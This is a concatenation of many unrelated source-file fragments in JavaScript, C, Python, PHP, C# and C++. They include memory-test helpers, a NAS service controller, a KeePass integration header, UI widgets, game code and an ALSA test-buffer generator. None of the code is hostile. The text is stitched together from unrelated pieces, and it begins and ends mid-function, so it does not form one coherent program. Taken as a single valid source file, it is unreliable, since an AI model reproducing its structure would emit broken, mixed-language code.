valueExpect, valueOffset ] = prediction.split('±').map(Number) if (Math.abs(value - valueExpect) > valueOffset) throw new Error(`${message || 'prediction failed'}: expect ${prediction}, but get ${value}`) } const runSubjectPredictionTest = async ({ testKeepRound, testDropRound, testSubjectCount, title, predictionAvg, funcCreateSubject }) => { console.log(`[TEST] ${title} `.padEnd(64, '=')) // setup const resultList = [] let testRound = 0 while (testRound !== (testKeepRound + testDropRound)) { // pre-fill resultList resultList[ testRound ] = 0 testRound++ } testRound = 0 while (testRound !== (testKeepRound + testDropRound)) { // console.log(` #${testRound}`) const subjectList = [] subjectList.length = testSubjectCount // sort of pre-fill subjectList const heapUsedBefore = await markMemory(` [BEFORE] subjectList: ${subjectList.length}`) // fill subject let index = 0 while (index !== testSubjectCount) { subjectList[ index ] = await funcCreateSubject(index) index++ } const heapUsedAfter = await markMemory(` [AFTER] subjectList: ${subjectList.length}`) const headUsedDiff = heapUsedAfter - heapUsedBefore console.log(` #${String(testRound).padStart(3, '0')} headUsedDiff: ${formatMemory(headUsedDiff)}, perSubject: ${formatMemory((headUsedDiff / subjectList.length).toFixed(2))}`) resultList[ testRound ] = headUsedDiff testRound++ } const mainResultList = dropOutstandingValue(resultList, testDropRound) // drop some outstanding value // console.log({ resultList, mainResultList }) const resultAvg = mainResultList.reduce((o, v) => o + v, 0) / mainResultList.length console.log([ `[RESULT] ${title} (${testDropRound} dropped) `.padEnd(64, '-'), `- avgHeadUsedDiff: ${formatMemory(resultAvg.toFixed(2))}`, `- avgPerSubject: ${formatMemory((resultAvg / testSubjectCount).toFixed(2))}` ].join('\n')) verifyPrediction(predictionAvg, resultAvg / testSubjectCount, title) } const runSubjectPredictionTestConfig = async ({ testConfigName, testKeepRound, testDropRound, testSubjectCount, testList }) => { console.log(`[main] testConfigName: ${testConfigName}, testList: ${testList.length}`) for (const [ title, predictionAvg, funcCreateSubject ] of testList) { await runSubjectPredictionTest({ testKeepRound, testDropRound, testSubjectCount, title, predictionAvg, funcCreateSubject }).catch((error) => { console.error('[main] error:', error) process.exit(1) }) } console.log('[main] done') } return { setTimeoutAsync, formatMemory, markMemory, appendPromiseAdder, dropOutstandingValue, verifyPrediction, runSubjectPredictionTest, runSubjectPredictionTestConfig } } export { runFuncWithExposeGC, createTestFunc, commonFunc }
#include <stdio.h> int main() { int i; for(i=5000; i >= 0; i--) { printf("%d\n", i); } return 0; }
import logging import os from django.db import transaction from rest_framework.response import Response from smart_manager.models import Service from smart_manager.views import BaseServiceDetailView from storageadmin.util import handle_exception from system.nut import configure_nut from system.services import systemctl logger = logging.getLogger(__name__) class NUTServiceView(BaseServiceDetailView): service_name = 'nut' @transaction.atomic def post(self, request, command): """ execute a command on the service """ with self._handle_exception(request): service = Service.objects.get(name=self.service_name) if command == 'config': try: config = request.data.get('config') configure_nut(config) self._save_config(service, config) except Exception, e: logger.exception(e) e_msg = ('NUT could not be configured. Please try again') handle_exception(Exception(e_msg), request) else: # By now command is != config so hopefully start or stop. # Try dealing with this command by passing to switch_nut # N.B. as config may not be good or even exist we try and # if exception then suggest config as cause. # Otherwise users would see system level error which is dumped # to logs. Email support is offered with log zip. try: self._switch_nut(command, self._get_config(service)) logger.info('NUT-UPS toggled') except Exception, e: logger.exception(e) e_msg = ("Failed to %s NUT-UPS service due to a system " "error. Check the service is configured correctly " "via it's spanner icon." % command) handle_exception(Exception(e_msg), request) return Response() @staticmethod def _switch_nut(switch, config): if switch == 'start': # empty config causes a type error before we get here, this we # catch and suggest settings but just in case we check here also. if not config: raise Exception("NUT un-configured; please configure first.") # don't start nut-server when in netclient mode. if config['mode'] == 'netclient': systemctl('nut-server', 'disable') systemctl('nut-server', 'stop') else: # presumably starting in standalone or netserver mode systemctl('nut-server', 'enable') systemctl('nut-server', 'start') # in all three modes we always enable and reload nut-monitor systemctl('nut-monitor', 'enable') systemctl('nut-monitor', 'reload-or-restart') else: # disable and stop monitor and server regardless of mode # just as well as config may have changed. systemctl('nut-monitor', 'disable') systemctl('nut-monitor', 'stop') systemctl('nut-server', 'disable') systemctl('nut-server', 'stop')
""" Output files from the SAMI client software contain a decimal day of year but no year. QuinCe requires a year. Eventually I'll build suitable functionality into QuinCe, but until then this utility can be used to add a Year column to SAMI output files. This is in no way good Python code. Do not use it for reference. """ import sys import os import pandas as pd # Suppress warnings because I'm doing dumb shit. As I said above, # I'm not pretending this is good code. pd.options.mode.chained_assignment = None def main(in_file, out_file, year): data = pd.read_csv(in_file, sep="\t") # Add the year column data['Year'] = 0 current_year = year for index, row in data.iterrows(): if index == 0: data['Year'][index] = current_year else: if row['Year Day'] < data['Year Day'][index - 1]: current_year += 1 data['Year'][index] = current_year data.to_csv(out_file, sep="\t", index=False) def usage(): print('Usage: python add_year.py <infile> <year>') exit() if __name__ == '__main__': in_file = None year = 0 if len(sys.argv) != 3: usage() in_file = sys.argv[1] try: year = int(sys.argv[2]) except: print('Year must be an integer') exit() root, ext = os.path.splitext(in_file) out_file = f'{root}.withyear{ext}' main(in_file, out_file, year)
/*! * Qoopido.js library v3.3.3, 2014-5-24 * https://github.com/dlueth/qoopido.js * (c) 2014 Dirk Lueth * Dual licensed under MIT and GPL */ !function(e){window.qoopido.register("jquery/function/prefetch",e,["jquery"])}(function(e,r,n,t,i){"use strict";var u=e.jquery||i.jQuery,f=u("head"),o=[];return u.prefetch=function(){var e=u.unique(u('a[rel="prefetch"]').removeAttr("rel").map(function(){return u(this).attr("href")}));e.each(function(e,r){-1===u.inArray(r,o)&&(u("<link />",{rel:"prefetch",href:r}).appendTo(f),u("<link />",{rel:"prerender",href:r}).appendTo(f))})},u});
// Copyright (c) 2015 ZZZ Projects. All rights reserved // Licensed under MIT License (MIT) (https://github.com/zzzprojects/Z.ExtensionMethods) // Website: http://www.zzzprojects.com/ // Feedback / Feature Requests / Issues : http://zzzprojects.uservoice.com/forums/283927 // All ZZZ Projects products: Entity Framework Extensions / Bulk Operations / Extension Methods /Icon Library using System; using System.Data; using System.Data.SqlServerCe; public static partial class Extensions { /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="parameters">Options for controlling the operation.</param> /// <param name="commandType">Type of the command.</param> /// <param name="transaction">The transaction.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, SqlCeParameter[] parameters, CommandType commandType, SqlCeTransaction transaction) { using (SqlCeCommand command = @this.CreateCommand()) { command.CommandText = cmdText; command.CommandType = commandType; command.Transaction = transaction; if (parameters != null) { command.Parameters.AddRange(parameters); } return command.ExecuteScalar(); } } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="commandFactory">The command factory.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, Action<SqlCeCommand> commandFactory) { using (SqlCeCommand command = @this.CreateCommand()) { commandFactory(command); return command.ExecuteScalar(); } } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText) { return @this.SqlCeExecuteScalar(cmdText, null, CommandType.Text, null); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="transaction">The transaction.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, SqlCeTransaction transaction) { return @this.SqlCeExecuteScalar(cmdText, null, CommandType.Text, transaction); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="commandType">Type of the command.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, CommandType commandType) { return @this.SqlCeExecuteScalar(cmdText, null, commandType, null); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="commandType">Type of the command.</param> /// <param name="transaction">The transaction.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, CommandType commandType, SqlCeTransaction transaction) { return @this.SqlCeExecuteScalar(cmdText, null, commandType, transaction); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="parameters">Options for controlling the operation.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, SqlCeParameter[] parameters) { return @this.SqlCeExecuteScalar(cmdText, parameters, CommandType.Text, null); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="parameters">Options for controlling the operation.</param> /// <param name="transaction">The transaction.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, SqlCeParameter[] parameters, SqlCeTransaction transaction) { return @this.SqlCeExecuteScalar(cmdText, parameters, CommandType.Text, transaction); } /// <summary> /// A SqlCeConnection extension method that executes the scalar operation. /// </summary> /// <param name="this">The @this to act on.</param> /// <param name="cmdText">The command text.</param> /// <param name="parameters">Options for controlling the operation.</param> /// <param name="commandType">Type of the command.</param> /// <returns>An object.</returns> public static object SqlCeExecuteScalar(this SqlCeConnection @this, string cmdText, SqlCeParameter[] parameters, CommandType commandType) { return @this.SqlCeExecuteScalar(cmdText, parameters, commandType, null); } }
// Switch expression is not an integer void main() { double a = 0; switch (a) { case 5: break; default: break; } }
#!/usr/bin/python # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from txcql.connection_pool import ConnectionPool from twisted.internet import defer, reactor HOST = 'localhost' PORT = 9160 KEYSPACE = 'txcql_test' CF = 'test' @defer.inlineCallbacks def testcql(client): yield client.execute("CREATE KEYSPACE ? with replication_factor=1 and strategy_class='SimpleStrategy'", KEYSPACE) yield client.execute("CREATE COLUMNFAMILY ? with comparator=ascii and default_validation=ascii", CF) yield client.execute("UPDATE ? set foo = bar, bar = baz WHERE key = test", CF) res = yield client.execute("SELECT foo, bar from ? WHERE key = test", CF) for r in res: print r.__dict__ yield client.execute("DROP KEYSPACE ?", KEYSPACE) reactor.stop() if __name__ == '__main__': from twisted.python import log import sys log.startLogging(sys.stdout) pool = ConnectionPool(KEYSPACE) testcql(pool) reactor.connectTCP(HOST, PORT, pool) reactor.run()
<?php /** * This file is part of Vegas package * * @author Tomasz Borodziuk <[email protected]> * @copyright Amsterdam Standard Sp. Z o.o. * @homepage http://vegas-cmf.github.io * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Vegas\Social\Facebook; use Vegas\Social\PublishHelper; use Vegas\Social\PublishInterface; use Vegas\Social\CurlFile; /** * Class Publish * @package Vegas\Social\Facebook */ class Publish extends Service implements PublishInterface { use PublishHelper; /** * @var array */ private $postParams = []; /** * @var string, for example 'feed' or 'photos' */ private $publishArea; /** * @var */ private $targetUser; /** * @param array $config * @throws \Vegas\Social\Exception * * param example: * * $config = [ * 'app_key' => 'APP ID', * 'app_secret' => 'APP SECRET', * 'access_token' => 'USER TOKEN' * ]; * */ public function __construct($config) { parent::__construct($config); $this->setDefaultPostParams(); } /** * @throws \Vegas\Social\Exception\InvalidPostParamsException */ public function setDefaultPostParams() { $userToken = $this->fbSession->getToken(); $userName = $this->getUserData()->getName(); if ($userName) { $this->postParams = [ 'access_token' => $userToken, 'name' => $userName, 'link' => '', 'caption' => '', 'message' => '', ]; $this->publishArea = 'feed'; $this->targetUser = 'me'; return $this; } throw new \Vegas\Social\Exception\InvalidPostParamsException('postParams'); } /** * @param string $string * @return $this */ public function setTitle($string) { $this->postParams['caption'] = $string; return $this; } /** * @param string $string * @return $this */ public function setMessage($string) { $this->postParams['message'] = $string; return $this; } /** * @param string $string * @throws \Vegas\Social\Exception\InvalidLinkException */ public function setLink($string) { if ($this->validateLink($string)) { $this->postParams['link'] = $string; return $this; } throw new \Vegas\Social\Exception\InvalidLinkException($string); } /** * @param CurlFile|string $photo * @return $this * @throws \Vegas\Social\Exception */ public function setPhoto($photo) { $this->publishArea = 'photos'; $message = $this->postParams['message']; $this->postParams = [ 'message' => $message ]; if (is_object($photo) && $photo instanceof CurlFile) { $this->postParams['source'] = $photo->getResource(); } else if (is_string($photo) && $this->validateLink($photo)) { $this->postParams['url'] = $photo; } else { throw new \Vegas\Social\Exception\InvalidArgumentException('setPhoto'); } return $this; } /** * @return array */ public function getPostParams() { return $this->postParams; } /** * @param array $array * @return $this * @throws \Vegas\Social\Exception\InvalidLinkException * @throws \Vegas\Social\Exception\InvalidPostParamsException */ public function setPostParams($array) { if (!isset($array['url'])) throw new \Vegas\Social\Exception\InvalidPostParamsException('url'); if (!$this->validateLink($array['url'])) throw new \Vegas\Social\Exception\InvalidLinkException($array['url']); if (!isset($array['message'])) throw new \Vegas\Social\Exception\InvalidPostParamsException('message'); $this->postParams = $array; return $this; } /** * @return string * @throws \Vegas\Social\Exception */ public function post() { $this->checkPostParams(); try { return $this->request('POST', '/' . $this->targetUser . '/' . $this->publishArea, $this->postParams)->getGraphObject()->getProperty('id'); } catch (FacebookRequestException $e) { throw new \Vegas\Social\Exception\UnexpectedResponseException($e); } } /** * @param string $postId * @return mixed * @throws \Vegas\Social\Exception */ public function deletePost($postId) { try { $this->request('DELETE', '/' . $postId); } catch (FacebookRequestException $e) { throw new \Vegas\Social\Exception\UnexpectedResponseException($e); } return $postId; } /** * @throws \Vegas\Social\Exception\InvalidPostParamsException */ private function checkPostParams() { $requiredParams = []; if ($this->publishArea == 'feed') $requiredParams = ['link', 'caption', 'message']; foreach ($requiredParams as $param) { if ($this->postParams[$param] == '') throw new \Vegas\Social\Exception\InvalidPostParamsException($param); } } }
// Copyright (c) 2014 The Limecoinx developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef _KEEPASS_H_ #define _KEEPASS_H_ #define KEEPASS_CRYPTO_KEY_SIZE 32 #define KEEPASS_CRYPTO_BLOCK_SIZE 16 #define KEEPASS_KEEPASSHTTP_HOST "localhost" #define KEEPASS_KEEPASSHTTP_PORT 19455 #include <string> #include <vector> #include <map> #include "json/json_spirit_value.h" #include "crypter.h" #include "allocators.h" class CKeePassIntegrator { bool bIsActive; unsigned int nPort; SecureString sKeyBase64; SecureString sKey; SecureString sUrl; //SecureString sSubmitUrl; std::string sKeePassId; std::string sKeePassEntryName; class CKeePassRequest { json_spirit::Object requestObj; std::string sType; std::string sIV; SecureString sKey; void init(); public: void addStrParameter(std::string sName, std::string sValue); // Regular void addStrParameter(std::string sName, SecureString sValue); // Encrypt std::string getJson(); CKeePassRequest(SecureString sKey, std::string sType) { this->sKey = sKey; this->sType = sType; init(); }; }; class CKeePassEntry { SecureString uuid; SecureString name; SecureString login; SecureString password; public: CKeePassEntry(SecureString uuid, SecureString name, SecureString login, SecureString password) : uuid(uuid), name(name), login(login), password(password) { } SecureString getUuid() { return uuid; } SecureString getName() { return name; } SecureString getLogin() { return login; } SecureString getPassword() { return password; } }; class CKeePassResponse { bool bSuccess; std::string sType; std::string sIV; SecureString sKey; void parseResponse(std::string sResponse); public: json_spirit::Object responseObj; CKeePassResponse(SecureString sKey, std::string sResponse) { this->sKey = sKey; parseResponse(sResponse); } bool getSuccess() { return bSuccess; } SecureString getSecureStr(std::string sName); std::string getStr(std::string sName); std::vector<CKeePassEntry> getEntries(); SecureString decrypt(std::string sValue); // DecodeBase64 and decrypt arbitrary string value }; static SecureString generateRandomKey(size_t nSize); static std::string constructHTTPPost(const std::string& strMsg, const std::map<std::string,std::string>& mapRequestHeaders); void doHTTPPost(const std::string& sRequest, int& nStatus, std::string& sResponse); void rpcTestAssociation(bool bTriggerUnlock); std::vector<CKeePassEntry> rpcGetLogins(); void rpcSetLogin(const SecureString& strWalletPass, const SecureString& sEntryId); public: CKeePassIntegrator(); void init(); static SecureString generateKeePassKey(); void rpcAssociate(std::string& sId, SecureString& sKeyBase64); SecureString retrievePassphrase(); void updatePassphrase(const SecureString& sWalletPassphrase); }; extern CKeePassIntegrator keePassInt; #endif
import React from 'react' const confirmable = (Component) => class extends React.Component { constructor(props) { super(props); this.state = { show: true, } } dismiss() { this.setState({ show: false, }, () => { this.props.dispose(); }); } cancel(value) { this.setState({ show: false, }, () => { this.props.reject(value); }); } proceed(value) { this.setState({ show: false, }, () => { this.props.resolve(value); }); } render() { return <Component proceed={::this.proceed} cancel={::this.cancel} dismiss={::this.dismiss} show={this.state.show} {...this.props}/> } } export default confirmable;
using UnityEngine; using System.Collections; public class MoveCamera : MonoBehaviour { // Use this for initialization void Start () { } // Update is called once per frame void Update() { if (Input.GetKey(KeyCode.UpArrow)) { // 上キーが押された時 transform.position += transform.forward * 0.05f; } else if (Input.GetKey(KeyCode.DownArrow)) { // 下キーが押された時 transform.position += transform.forward * -0.05f; } if (Input.GetKey(KeyCode.LeftArrow)) { // 左キーが押された時 transform.Rotate(0, -1f, 0, Space.World); } else if (Input.GetKey(KeyCode.RightArrow)) { // 右キーが押された時 transform.Rotate(0, 1f, 0, Space.World); } } }
# coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import absolute_import, division, print_function, unicode_literals from pants.backend.python.python_requirement import PythonRequirement from pants.base.payload import Payload from pants.base.payload_field import PythonRequirementsField from pants.base.validation import assert_list from pants.build_graph.target import Target class PythonRequirementLibrary(Target): """A set of pip requirements. :API: public """ def __init__(self, payload=None, requirements=None, **kwargs): """ :param requirements: pip requirements as `python_requirement <#python_requirement>`_\s. :type requirements: List of python_requirement calls """ payload = payload or Payload() assert_list(requirements, expected_type=PythonRequirement, key_arg='requirements') payload.add_fields({ 'requirements': PythonRequirementsField(requirements or []), }) super(PythonRequirementLibrary, self).__init__(payload=payload, **kwargs) @property def requirements(self): return self.payload.requirements
''' bg.py contains common background elements in Invasodado. Pretty much every screen in the game has the same background. ''' from random import randint import pygame.sprite from pygame import Rect from core import config from core.particles import ParticleEmitter, ParticlePool from game.hudobject import HudObject ### Functions ################################################################## def _star_appear(self): ''' Stars appear on the left edge of the screen and travel right at one of five possible speeds. ''' self.velocity[0] = randint(1, 5) def _star_move(self): ''' And this is the part where they actually move. ''' self.position[0] += self.velocity[0] self.rect.left = self.position[0] ################################################################################ STARS_GROUP = pygame.sprite.RenderUpdates() _STAR_IMAGE = config.get_sprite(Rect(4, 170, 2, 2)) EARTH = HudObject(config.EARTH , (0, 0)) GRID = HudObject(config.GRID_BG, (0, 0)) STARS = ParticleEmitter( ParticlePool(_STAR_IMAGE, _star_move, _star_appear), Rect(0, 0, 0, config.SCREEN_HEIGHT), 8, STARS_GROUP ) EARTH.rect.midbottom = config.SCREEN_RECT.midbottom
''' Created on 04.02.2012 @author: gena ''' from __future__ import division from PyQt4 import QtCore, QtGui #from ltcore.actions import LtActions from ltgui.analysedialog import AnalyseDialog from ltgui.actionbutton import ActionButton from ltcore.ltactions import createAction from ltgui.trajectoryanalyserswidgets import RunRestAnalyserWidget,RatRunAnalyserWidget from ltgui.errordetectorwidget import ErrorDetectorWidget class TrajectoryWidget(QtGui.QWidget): ''' This widget holds GUI elements for trajectory analysing ''' signalAnalyseFromFile = QtCore.pyqtSignal(QtCore.QString, QtCore.QStringList) def __init__(self, trajectoryAnalysis, parent=None): ''' Constructor ''' super(TrajectoryWidget, self).__init__(parent) self.trajectoryAnalysis = trajectoryAnalysis self.trajectoryAnalyserWidgets=[RunRestAnalyserWidget(self.trajectoryAnalysis.analysers[0]), RatRunAnalyserWidget(self.trajectoryAnalysis.analysers[1])] self.trajectoryAnalyserCaptions=['RunRest', 'RatRun'] self.errorDetectorWidget = ErrorDetectorWidget(self.trajectoryAnalysis.errorDetector) self.analyseDialog = AnalyseDialog(self) self.analysisProgressDialog = QtGui.QProgressDialog() self.analysisProgressDialog.setWindowTitle('Analysing files') # # self.trajectoryAnalysis.signalAnalysisStarted.connect(self.signalAnalysisStarted) self.trajectoryAnalysis.signalNextFileAnalysing.connect(self.signalNextFileAnalysing) self.trajectoryAnalysis.signalAnalysisFinished.connect(self.signalAnalysisFinished) # layout = QtGui.QGridLayout() # #self.analyseFromFileButton = ActionButton(self.actionAnalyseFromFiles) #layout.addWidget(self.analyseFromFileButton, 0, 0, 1, 2) # defaultSettingsLabel = QtGui.QLabel('Default set for:') layout.addWidget(defaultSettingsLabel, 1, 0) self.defaultSettigsComboBox = QtGui.QComboBox() defaultSettingsLabel.setBuddy(self.defaultSettigsComboBox) layout.addWidget(self.defaultSettigsComboBox, 1, 1) self.defaultSettigsComboBox.addItems(['Imago', 'Larva', 'Rat']) self.defaultSettigsComboBox.currentIndexChanged.connect(self.setPreset) # createImageLabel = QtGui.QLabel('Image creation method') layout.addWidget(createImageLabel,2,0) self.createImageComboBox = QtGui.QComboBox() createImageLabel.setBuddy(self.createImageComboBox) self.createImageComboBox.addItems(self.trajectoryAnalysis.imageCreatorsCaptions) self.createImageComboBox.setCurrentIndex(1) self.createImageComboBox.currentIndexChanged.connect(self.trajectoryAnalysis.setImageCreator) self.createImageComboBox.currentIndexChanged.connect(self.setLevelsEnabled) layout.addWidget(self.createImageComboBox,2,1) # imageLevelsLabel = QtGui.QLabel('Accumulate levels') layout.addWidget(imageLevelsLabel,3,0) self.imageLevelsSpinBox = QtGui.QSpinBox() createImageLabel.setBuddy(self.imageLevelsSpinBox) self.imageLevelsSpinBox.setMaximum(10) self.imageLevelsSpinBox.setValue(self.trajectoryAnalysis.imageLevels) self.imageLevelsSpinBox.valueChanged.connect(self.trajectoryAnalysis.setImageLevelsCount) layout.addWidget(self.imageLevelsSpinBox,3,1) # writeSpeedLabel = QtGui.QLabel('Write speed info') layout.addWidget(writeSpeedLabel,4,0) writeSpeedCheckBox = QtGui.QCheckBox() writeSpeedLabel.setBuddy(writeSpeedCheckBox) layout.addWidget(writeSpeedCheckBox,4,1) writeSpeedCheckBox.stateChanged.connect(self.trajectoryAnalysis.setWriteSpeed) # layout.addWidget(self.errorDetectorWidget,5,0,1,2) self.tabWidget=QtGui.QTabWidget() for i in range(2) : self.tabWidget.addTab(self.trajectoryAnalyserWidgets[i], self.trajectoryAnalyserCaptions[i]) self.tabWidget.currentChanged.connect(self.trajectoryAnalysis.setAnalyser) layout.addWidget(self.tabWidget,6,0,1,2) self.setLayout(layout) self.defaultSettigsComboBox.setCurrentIndex(0) @QtCore.pyqtSlot(int) def setLevelsEnabled(self, index): self.imageLevelsSpinBox.setEnabled(index == 1) @QtCore.pyqtSlot(int) def signalAnalysisStarted(self, count): self.analysisProgressDialog.setMaximum(count) self.analysisProgressDialog.show() @QtCore.pyqtSlot(QtCore.QString, int) def signalNextFileAnalysing(self, name, progress): self.analysisProgressDialog.setLabelText(name) self.analysisProgressDialog.setValue(progress) @QtCore.pyqtSlot(int) def signalAnalysisFinished(self): self.analysisProgressDialog.close() @QtCore.pyqtSlot() def analyseFromFile(self): ''' ''' self.analyseDialog.clearData() if self.analyseDialog.exec_() : self.trajectoryAnalysis.analyseFromFiles(self.analyseDialog.analyseFileName, self.analyseDialog.ltFilesList) def abortAnalysis(self): self.trajectoryAnalysis.abortAnalysis() @QtCore.pyqtSlot(int) def setPreset(self, index): self.defaultSettigsComboBox.setCurrentIndex(index) self.errorDetectorWidget.setPreset(index) if index == 1 : # Larva self.createImageComboBox.setCurrentIndex(0) self.tabWidget.setCurrentIndex(0) elif index == 0 : # Imago self.createImageComboBox.setCurrentIndex(1) self.tabWidget.setCurrentIndex(0) elif index == 2 : # Rat self.createImageComboBox.setCurrentIndex(0) self.tabWidget.setCurrentIndex(0) self.tabWidget.currentWidget().setPreset(index)
// ***************************************************************************** // // © Component Factory Pty Ltd 2012. All rights reserved. // The software and associated documentation supplied hereunder are the // proprietary information of Component Factory Pty Ltd, 17/267 Nepean Hwy, // Seaford, Vic 3198, Australia and are supplied subject to licence terms. // // Version 4.4.1.0 www.ComponentFactory.com // ***************************************************************************** using System; using System.Text; using System.Drawing; using System.Drawing.Drawing2D; using System.Collections.Generic; using System.Windows.Forms; using System.Diagnostics; namespace ComponentFactory.Krypton.Toolkit { internal class ViewDrawMenuImageCanvas : ViewDrawCanvas, IContextMenuItemColumn { #region Instance Fields private int _columnIndex; private Size _lastPreferredSize; private int _overridePreferredWidth; private bool _zeroHeight; #endregion #region Identity /// <summary> /// Initialize a new instance of the ViewDrawMenuImageCanvas class. /// </summary> /// <param name="paletteBack">Palette source for the background.</param> /// <param name="paletteBorder">Palette source for the border.</param> /// <param name="columnIndex">Menu item column index.</param> /// <param name="zeroHeight">Should the height be forced to zero.</param> public ViewDrawMenuImageCanvas(IPaletteBack paletteBack, IPaletteBorder paletteBorder, int columnIndex, bool zeroHeight) : base(paletteBack, paletteBorder, VisualOrientation.Top) { _columnIndex = columnIndex; _overridePreferredWidth = 0; _zeroHeight = zeroHeight; } /// <summary> /// Obtains the String representation of this instance. /// </summary> /// <returns>User readable name of the instance.</returns> public override string ToString() { // Return the class name and instance identifier return "ViewDrawMenuCanvas:" + Id; } #endregion #region Layout /// <summary> /// Discover the preferred size of the element. /// </summary> /// <param name="context">Layout context.</param> public override Size GetPreferredSize(ViewLayoutContext context) { Debug.Assert(context != null); Size preferredSize = base.GetPreferredSize(context); if (_overridePreferredWidth != 0) preferredSize.Width = _overridePreferredWidth; else _lastPreferredSize = base.GetPreferredSize(context); if (_zeroHeight) preferredSize.Height = 0; return preferredSize; } #endregion #region IContextMenuItemColumn /// <summary> /// Gets the index of the column within the menu item. /// </summary> public int ColumnIndex { get { return _columnIndex; } } /// <summary> /// Gets the last calculated preferred size value. /// </summary> public Size LastPreferredSize { get { return _lastPreferredSize; } } /// <summary> /// Sets the preferred width value to use until further notice. /// </summary> public int OverridePreferredWidth { set { _overridePreferredWidth = value; } } #endregion #region Layout /// <summary> /// Perform a layout of the elements. /// </summary> /// <param name="context">Layout context.</param> public override void Layout(ViewLayoutContext context) { Debug.Assert(context != null); // Validate incoming reference if (context == null) throw new ArgumentNullException("context"); base.Layout(context); } #endregion #region Paint /// <summary> /// Perform rendering before child elements are rendered. /// </summary> /// <param name="context">Rendering context.</param> public override void RenderBefore(RenderContext context) { Debug.Assert(context != null); // Validate incoming reference if (context == null) throw new ArgumentNullException("context"); base.RenderBefore(context); } #endregion } }
// SPDX-License-Identifier: GPL-2.0 // // allocator.h - a header of a generator for test with buffers of PCM frames. // // Copyright (c) 2018 Takashi Sakamoto <[email protected]> // // Licensed under the terms of the GNU General Public License, version 2. #include "generator.h" #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int generator_context_init(struct test_generator *gen, uint64_t access_mask, uint64_t sample_format_mask, unsigned int min_samples_per_frame, unsigned int max_samples_per_frame, unsigned int min_frame_count, unsigned int max_frame_count, unsigned int step_frame_count, unsigned int private_size) { gen->fd = open("/dev/urandom", O_RDONLY); if (gen->fd < 0) return -errno; gen->private_data = malloc(private_size); if (gen->private_data == NULL) return -ENOMEM; memset(gen->private_data, 0, private_size); gen->access_mask = access_mask; gen->sample_format_mask = sample_format_mask; gen->min_samples_per_frame = min_samples_per_frame; gen->max_samples_per_frame = max_samples_per_frame; gen->min_frame_count = min_frame_count; gen->max_frame_count = max_frame_count; gen->step_frame_count = step_frame_count; return 0; } static void *allocate_buf(snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count) { unsigned int bytes_per_sample; bytes_per_sample = snd_pcm_format_physical_width(sample_format) / 8; return calloc(samples_per_frame * frame_count, bytes_per_sample); } static void *allocate_vector(snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count) { unsigned int bytes_per_sample; char **bufs; int i; bytes_per_sample = snd_pcm_format_physical_width(sample_format) / 8; bufs = calloc(samples_per_frame, sizeof(char *)); if (bufs == NULL) return NULL; for (i = 0; i < samples_per_frame; ++i) { bufs[i] = calloc(frame_count, bytes_per_sample); if (bufs[i] == NULL) { for (; i >= 0; --i) free(bufs[i]); free(bufs); return NULL; } } return bufs; } static int fill_buf(int fd, void *frame_buffer, snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count) { unsigned int size; int len; size = snd_pcm_format_physical_width(sample_format) / 8 * samples_per_frame * frame_count; while (size > 0) { len = read(fd, frame_buffer, size); if (len < 0) return len; size -= len; } return 0; } static int fill_vector(int fd, void *frame_buffer, snd_pcm_access_t access, snd_pcm_format_t sample_format, unsigned int samples_per_frame, unsigned int frame_count) { char **bufs = frame_buffer; unsigned int size; int len; int i; for (i = 0; i < samples_per_frame; ++i) { size = frame_count * snd_pcm_format_physical_width(sample_format) / 8; while (size > 0) { len = read(fd, bufs[i], size); if (len < 0) return len; size -= len; } } return 0; } static void deallocate_buf(void *frame_buffer, unsigned int samples_per_frame) { free(frame_buffer); } static void deallocate_vector(void *frame_buffer, unsigned int 